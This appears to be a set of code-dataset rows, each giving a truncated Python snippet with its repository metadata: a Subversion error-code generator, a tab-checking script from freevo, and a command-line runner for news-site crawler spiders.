#!/usr/bin/env python # # gen-javahl-errors.py: Generate a Java class containing an enum for the # C error codes # # ==================================================================== # Copyright (c) 2007-2009 CollabNet. All rights reserved. # # * This software is licensed as described in the f...
bdmod/extreme-subversion
BinarySourcce/subversion-1.6.17/tools/dev/gen-javahl-errors.py
Python
gpl-2.0
2,640
#!/usr/bin/env python import sys, os files = sys.argv[1:] def scandir(tabfiles, dirname, fnames): for fname in fnames: if os.path.splitext(fname)[1] != '.py': continue fullname = dirname + '/' + fname print 'Checking file %s' % fullname lines = open(fullname).readline...
freevo/freevo1
contrib/developer/chktab.py
Python
gpl-2.0
773
import logging from grab.tools.logs import default_logging from crawlers.news2 import News2Spider from crawlers.pikabu import PikabuSpider from crawlers.vott import VottSpider from settings import DB_NAME logging.basicConfig(level=logging.DEBUG) logger = logging.getLogger(__name__) def run_spider(spider_class, use...
istinspring/ruMedia
cli.py
Python
gpl-2.0
1,169